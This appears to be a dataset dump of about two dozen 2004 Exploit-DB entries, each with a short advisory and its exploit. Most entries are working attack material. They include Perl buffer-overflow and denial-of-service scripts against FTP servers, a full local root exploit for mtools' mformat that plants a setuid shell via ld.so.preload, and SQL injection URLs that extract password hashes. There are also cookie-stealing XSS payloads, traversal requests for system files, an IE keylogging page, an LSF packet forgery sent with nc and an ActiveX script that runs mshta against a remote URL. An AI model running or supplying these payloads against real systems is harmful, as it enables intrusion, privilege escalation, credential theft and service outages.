QLWD/code_shield huggingface dataset:
标题: ArGoSoft FTP Server 1.0/1.2/1.4 - Multiple Vulnerabilities EDB-ID: 23769 CVE: 2004-2675 类型: DOS 平台: WINDOWS 发布日期: 2004-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/9770/info

ArGoSoft has released version 1.4.1.6 of their FTP Server to address multiple unspecified security vulnerabilities. These issues include three buffer overruns when handling overly long FTP SITE ZIP and SITE COPY commands, a file enumeration issue involving the SITE UNZIP command and user database corruption denial of service attacks via the SITE PASS command. 

#!/usr/bin/perl
# Multiple Vulnerabilities in ArGoSoft FTP Server version 1.4 (1.4.1.4)
# Created by Beyond Security Ltd. - All rights reserved.

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2119",,
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}


$remote->autoflush(1);

my $ftp = "USER username\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "password", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

#$ftp = join ("", "SITE ZIP ", "A"x512, "\r\n");
#$ftp = join ("", "SITE ZIP storm.zip /f:", "A"x2048, "\r\n");
#$ftp = join ("", "SITE COPY ", "A"x2048, " ", "A"x10, "\r\n");
#$ftp = join ("", "SITE UNZIP ", "../boot.ini\r\n"); # Directory Traversal (we know a certain file exists)
#$ftp = join ("", "SITE PASS ", "storm ", "A"x3500, "\r\n"); # DoS ... against the user database

#Choose one of the above to test the vulnerabilities mentioned

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote; URL: https://www.exploit-db.com/exploits/23769
标题: YaBB SE 1.5.x - Multiple SQL Injections EDB-ID: 23775 CVE: 2004-0343 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/9774/info
 
It has been reported that YaBB SE may be prone to multiple vulnerabilities due to improper input validation. The issues may allow an attacker to carry out SQL injection and directory traversal attacks. Successful exploitation of these issues may allow an attacker to gain access to sensitive information that may be used to mount further attacks against a vulnerable system. The SQL injection vulnerabilities can be exploited to gain access to user authentication credentials and corrupt user information in the underlying database.
 
YaBB SE versions 1.5.4, 1.5.5, and 1.5.5b are reported to be affected by these issues, however it is possible that other versions are vulnerable as well.

http://www.example.com/forum/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%2
7,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

http://www.example.com/forum/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../d
eleteme.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,nul
l,null,null,null,null,null,null,null,null/* HTTP/1.0 URL: https://www.exploit-db.com/exploits/23775
标题: Software602 602Pro LAN Suite - Web Mail Cross-Site Scripting EDB-ID: 23776 CVE: 2004-0337 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/9777/info

It has been reported that 602Pro LAN Suite Web Mail is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user input supplied via the URI.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

http://www.example.com/index.html/<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23776
标题: GNU Anubis 3.6.x/3.9.x - Multiple Format String Vulnerabilities EDB-ID: 23771 CVE: 2004-0354 类型: REMOTE 平台: LINUX 发布日期: 2004-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/9772/info

GNU Anubis has been reported prone to multiple buffer overflow and format string vulnerabilities. It has been conjectured that a remote attacker may potentially exploit these vulnerabilities to have arbitrary code executed in the context of the Anubis software. The buffer overflow vulnerabilities exist in the 'auth_ident' function in 'auth.c'. The format string vulnerabilities are reported to affect the 'info' function in 'log.c', the 'anubis_error' function in 'errs.c' and the 'ssl_error' function in 'ssl.c'.

These vulnerabilities have been reported to exist in GNU Anubis versions 3.6.0, 3.6.1, 3.6.2, 3.9.92, and 3.9.93. It is possible that other versions are affected as well.

These issues are undergiong further analysis, they will be divided into separate BIDs as analysis is completed.

#!/usr/bin/perl --

# anubis-crasher
# Ulf Harnhammar 2004
# I hereby place this program in the Public Domain.

use IO::Socket;


sub usage()
{
  die "usage: $0 type\n".
      "type is 'a' (buffer overflow) or 'b' (format string bug).\n";
} # sub usage


$port = 113;

usage() unless @ARGV == 1;
$type = shift;
usage() unless $type =~ m|^[ab]$|;

$send{'a'} = 'U' x 400;
$send{'b'} = '%n' x 28;
$sendstr = $send{$type};

$server = IO::Socket::INET->new(Proto => 'tcp',
                                LocalPort => $port,
                                Listen => SOMAXCONN,
                                Reuse => 1) or
          die "can't create server: $!";

while ($client = $server->accept())
{
  $client->autoflush(1);
  print "got a connection\n";

  $input = <$client>;
  $input =~ tr/\015\012//d;
  print "client said $input\n";

#  $wait = <STDIN>;
#  $wait = 'be quiet, perl -wc';

  $output = "a: USERID: a:$sendstr";
  print $client "$output\n";
  print "I said $output\n";

  close $client;
  print "disconnected\n";
} # while client=server->accept URL: https://www.exploit-db.com/exploits/23771
标题: Microsoft Internet Explorer 5/6 - Cross-Domain Event Leakage EDB-ID: 23766 CVE: 2004-2383 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/9761/info

Microsoft Internet Explorer is reported to be prone to an issue that may leak sensitive information across foreign domains.

This issue could permit framesets in different domains to leak various events, including keyboard events. This could effectively permit a hostile web page to capture keystrokes from a foreign domain. 

<html>
<head><title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
<frame src="http://www.example.com" scrolling="auto">
</frameset>
</html> URL: https://www.exploit-db.com/exploits/23766
标题: GWeb HTTP Server 0.5/0.6 - Directory Traversal EDB-ID: 23758 CVE: 2004-0349 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9742/info

It has been reported that GWeb is prone to a directory traversal vulnerability. The issue is due to the server's failure to properly validate user supplied http requests.

This issue may allow an attacker to escape the web server root directory and view any web server readable files. Information acquired by exploiting this issue may be used to aid further attacks against a vulnerable system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23758.zip URL: https://www.exploit-db.com/exploits/23758
标题: Apache Cygwin 1.3.x/2.0.x - Directory Traversal EDB-ID: 23751 CVE: 2004-0173 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9733/info

It has been reported that Apache may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. This issue is only reported to present itself in Apache running on cygwin platforms. A remote attacker may traverse outside the server root directory by using encoded '\..' character sequences.

http://www.example.com/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini URL: https://www.exploit-db.com/exploits/23751
标题: RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (1) EDB-ID: 23760 CVE: 2004-0330 类型: DOS 平台: WINDOWS 发布日期: 2004-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9751/info

Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.

The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user. 

## Coded by saintjmf
## This exploits Serv-u MDTM buffer overflow - Shutsdown server
## Discovered by bkbll - Info provided by securityfocus
## For exploit to work you need valid username and password
## I do not take responsibility for the use of this code

use IO::Socket qw(:DEFAULT :crlf);
print "Serv-u MDTM Buffer overflow - by saintjmf\n";

## Get Host port unsername and password

my $host = shift || die print "\nUsage: <program> <Host> <port> <username> <password>\n";
my $port = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

$username = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n"; 
$password = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

## Create Socket
my $socket = IO::Socket::INET->new("$host:$port")  or die print "\nUnable to connect -- $!\n";

print "connecting...............\n\n";

connecter($socket);


print "Server should be stopped\n";


## Sub that sends username, password and exploit

sub connecter{ 
 $/ = CRLF;
 my $socket2 = shift;
 my $message2 = <$socket2>;
 chomp $message2;
 print "$message2\n";
 sleep(5);
 print $socket2 "user $username",CRLF;
 $message2 = <$socket2>;
 chomp $message2;
 print "$message2\n";
sleep (5);
 print $socket2 "pass $password", CRLF;

 $message2 = <$socket2>;
 chomp $message2;
 print "$message2\n";
sleep (4);
 print "Sending MDTM Overflow.....\n";
 print $socket2 "MDTM 20041111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /test.txt" ,CRLF;

} URL: https://www.exploit-db.com/exploits/23760
标题: MTools 3.9.x - 'MFormat' Local Privilege Escalation EDB-ID: 23759 CVE: 2004-2303 类型: LOCAL 平台: LINUX 发布日期: 2004-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/9746/info

It has been reported that mformat is prone to a privilege escalation vulnerability when installed as a setUID application. This issue is due to a design error allowing a user to create any arbitrary files as the root user.

A local attacker could exploit this issue by forcing the creation of sensitive system files that already exist. When the application formats the specified files, the target system file will be overwritten, destroying sensitive system data. Since the files that are given permissions 0666 and owned by root, the attacker may alter overwritten system configuration files, allowing for a escalation of privileges.

#!/usr/bin/perl

#
# mtools/mformat <= 3.9.9 local root exploit.
# Successfully tested on a Mandrake 9.2 default install.
# (C) 2004 krahmer@cs.uni-potsdam.de. PoC code.
# Standard disclaimer applies. Do not use for evil purposes.
#
# !USE AT YOUR OWN RISK! IT MAY CRASH YOUR MACHINE!
#
# If something goes wrong, it helps to be logged in as root
# on a second terminal beforehand and then doing a cat > /etc/ld.so.preload
#
# [stealth@lachs stealth]$ ./macker
# [-] Checking for mformat being +s ...OK.
# [-] Creating funky.so ...OK.
# [-] Creating boomsh ...OK
# [-] Calling mformat...
# [-] Invoking boomsh ...
# sh-2.05b# id
# uid=0(root) gid=501(stealth) groups=501(stealth)
# sh-2.05b#
 
$ |= 1;
umask(0);

print " [-] Checking for mformat being +s ...";
if (((stat("/usr/bin/mformat"))[2] & 04000) != 04000) {
 print "mformat not SUID.\n";
 exit(1);
}

print "OK.\n [-] Creating funky.so ...";

open(O, ">/tmp/funky.c") or die "$!";
print O<<_EOF_;
void _init()
{
 chown("/tmp/boomsh",0,0);
 chmod("/tmp/boomsh", 04755);
 unlink("/etc/ld.so.preload");
}
_EOF_
close(O);
if (system("cc -c -fPIC /tmp/funky.c -o /tmp/funky.o &&".
    "ld -Bshareable /tmp/funky.o -o /tmp/funky.so")) {
 print "FAILED!";
 exit(1);
}

print "OK.\n [-] Creating boomsh ...";

open(O, ">/tmp/boomsh.c") or die "$!";
print O<<_EOF_;
#include <stdio.h>
int main()
{
char *a[]={"/bin/sh", NULL};
setuid(0); getuid(0);
execve(*a,a,NULL);
return 1;
}
_EOF_
close(O);

if (system("cc /tmp/boomsh.c -o /tmp/boomsh")) {
 print "FAILED!\n";
 exit(1);
}

print "OK\n";
print " [-] Calling mformat...\n";

open(O, ">".$ENV{HOME}."/.mtoolsrc") or die $!;
print O "drive+ a: file=\"/etc/ld.so.preload\"\n";
close(O);
system("/usr/bin/mformat -t 11 -h 1 -n 1 -C a:");

open(O, ">/etc/ld.so.preload") or die "Oh oh ... $!";
print O "/tmp/funky.so\n";
close(O);
system("ping 2>/dev/null");
print " [-] Invoking boomsh ...\n";
exec("/tmp/boomsh");
print "FAILED\n"; URL: https://www.exploit-db.com/exploits/23759
标题: Working Resources BadBlue Server 2.40 - 'PHPtest.php' Full Path Disclosure EDB-ID: 23753 CVE: 2004-2374 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9737/info

It has been reported that BadBlue Server may be prone to a remote path disclosure vulnerability that may allow an attacker to disclose the installation path by issuing a request for 'phptest.php' script.

BadBlue version 2.4 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

http://www.example.com/phptest.php URL: https://www.exploit-db.com/exploits/23753
标题: XMB Forum 1.8 - 'forumdisplay.php' Multiple SQL Injections EDB-ID: 23748 CVE: 2004-0323 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9726/info
  
XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&tpp=x
http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x URL: https://www.exploit-db.com/exploits/23748
标题: RobotFTP Server 1.0/2.0 - Remote Denial of Service EDB-ID: 23750 CVE: 2004-2368 类型: DOS 平台: PHP 发布日期: 2004-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9732/info

It has been reported that Opt-X may be prone to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The problem reportedly exists because remote users may influence the 'systempath' variable in the header.php module.

Opt-X version 0.7.2 has been reported to be prone to this issue.

http://www.example.com/path_of_optx/includes/header.php?systempath=http://www.example.com/ URL: https://www.exploit-db.com/exploits/23750
标题: RedStorm Ghost Recon Game Engine - Remote Denial of Service EDB-ID: 23755 CVE: 2004-2371 类型: DOS 平台: MULTIPLE 发布日期: 2004-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9738/info

The Ghost Recon Game Engine has been reported prone to a denial of service vulnerability. When handling text strings, the Ghost Recon Game Engine employs a 32-bit integer string size prefix in order to monitor the size of the string. It has been reported that when an invalid size value is supplied an exception will be triggered causing a system wide denial of service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23755.rar URL: https://www.exploit-db.com/exploits/23755
标题: XMB Forum 1.8 - BBcode align Tag Cross-Site Scripting EDB-ID: 23747 CVE: 2004-0322 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9726/info
 
XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

text1 [align=center onmouseover=alert(document.cookie);] text2 [/align] URL: https://www.exploit-db.com/exploits/23747
标题: Platform Load Sharing Facility 4/5/6 - 'EAuth' Local Privilege Escalation EDB-ID: 23743 CVE: 2004-0318 类型: LOCAL 平台: LINUX 发布日期: 2003-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9724/info

Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary.

$cat /etc/passwd|grep cadence
cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash
$ export LSF_EAUTH_UID=500
$ eauth -c hostname
,',0/%+-$%$&&,/)

Now, she needs to send packets. She can do it, for the sake of simplicity,
using Perl and NetCat software:

(
# first packet
perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
print "\x00\x00\x00\x00";
'
sleep 1;

#let's call it a header, packet length
perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
#below we provide UID, GID and length of user name
print "\x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07";
#below is the user name, end indicator, and probably auth data field length
print "\x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10";
#again authentication length and auth data itself
print "\x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d";
#rest of auth data, end indicator, question code (x09 - bkill) and process number
print "\x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77";
print "\x00\x00\x00\x00";
'
#send it to the target daemon
) | nc 192.168.10.106 6881 URL: https://www.exploit-db.com/exploits/23743
标题: XMB Forum 1.8 - 'u2uadmin.php?uid' Cross-Site Scripting EDB-ID: 23745 CVE: 2004-0322 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9726/info

XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

http://www.example.com/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);</%73cript> URL: https://www.exploit-db.com/exploits/23745
标题: XMB Forum 1.8 - 'editprofile.php?user' Cross-Site Scripting EDB-ID: 23746 CVE: 2004-0322 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9726/info
 
XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

http://www.example.com/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie);</%73cript> URL: https://www.exploit-db.com/exploits/23746
标题: Dell TrueMobile 1300 WLAN System 3.10.39.0 Tray Applet - Local Privilege Escalation EDB-ID: 23739 CVE: 2004-2359 类型: LOCAL 平台: WINDOWS 发布日期: 2004-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/9714/info

It has been reported that a privilege escalation vulnerability exists in the Dell TrueMobile 1300 Wireless System Tray Applet. The issue is due to the software starting with SYSTEM privileges, to enable access to the wireless hardware, and subsequently failing to drop them. 

This may allow a local attacker to manipulate the GUI of the vulnerable application to spawn arbitrary processes with the privileges of the affected process.

Although only version 3.10.39.0 of the utility has been reported vulnerable, it is likely that other versions are prone as well.

After launching the affected application, right click in the application window and choose Help -> Help Files and then from the help; Jump to URL C:\WINDOWS\SYSTEM32\CMD.EXE

After launching the affected application, right click in the application window and choose Help -> About. By clicking on a link, Internet Explorer will start with SYSTEM privileges. URL: https://www.exploit-db.com/exploits/23739
标题: EZBoard 7.3 - Font Tag HTML Injection EDB-ID: 23744 CVE: 2004-0319 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9725/info

ezboard is prone to an HTML injection vulnerability. An attacker may exploit this issue by including hostile HTML and script code encapsulated in [font] tags of posts to the bulletin board. This code may be rendered in the web browser of a user who views these areas of the site. This would occur in the security context of the site hosting ezboard.

[font color=red;background:url(javascript:alert(document.cookie))]Big Exploit![/font]
[font face=Verdana;background:url(javascript:alert(document.cookie))]Big Exploit![/font] URL: https://www.exploit-db.com/exploits/23744
标题: phpNewsManager 1.36 - functions Script File Disclosure EDB-ID: 23742 CVE: 2004-0327 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9720/info

phpNewsManager is prone to a file disclosure vulnerability. Remote attackers may submit malicious requests to the software that contain directory traversal sequences, potentially exposing sensitive resources outside of the hosting web server root.

http://www.example.com/functions.php?clang=../../../[existing_file] URL: https://www.exploit-db.com/exploits/23742
标题: TYPSoft FTP Server 1.1 - Remote CPU Consumption (Denial of Service) EDB-ID: 23731 CVE: 2004-0325 类型: DOS 平台: WINDOWS 发布日期: 2004-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9702/info

It has been reported that TYPESoft FTP Server is prone to a remote denial of service vulnerability that may allow an attacker to cause the server to crash.

This vulnerability has been reported to affect version 1.10 of the software, however, previous versions may also be affected. 

mkd //../qwerty
xmkd //../qwerty
dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty URL: https://www.exploit-db.com/exploits/23731
标题: AOL Instant Messenger 4.x/5.x - Buddy Icon Predictable File Location EDB-ID: 23730 CVE: 2004-2373 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/9698/info

It has been reported that AOL Instant Messenger stores imported Buddy Icons in a predictable location on client systems that may allow an attacker to facilitate further attacks which could eventually lead to execution of arbitrary code.

This issue has been tested on AOL Instant Messenger versions 4.3 to 5.5, however, it is possible that other versions are affected as well. 

<script>
var ok = new ActiveXObject("Shell.Application");
f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories");
i= f.ParseName("Paint.lnk");
l = i.GetLink;
l.Path = "mshta.exe"
l.Arguments ="http://www.example.com"
l.Save("C:\\paint.lnk");
ok.Open("C:\\paint.lnk");
</script> URL: https://www.exploit-db.com/exploits/23730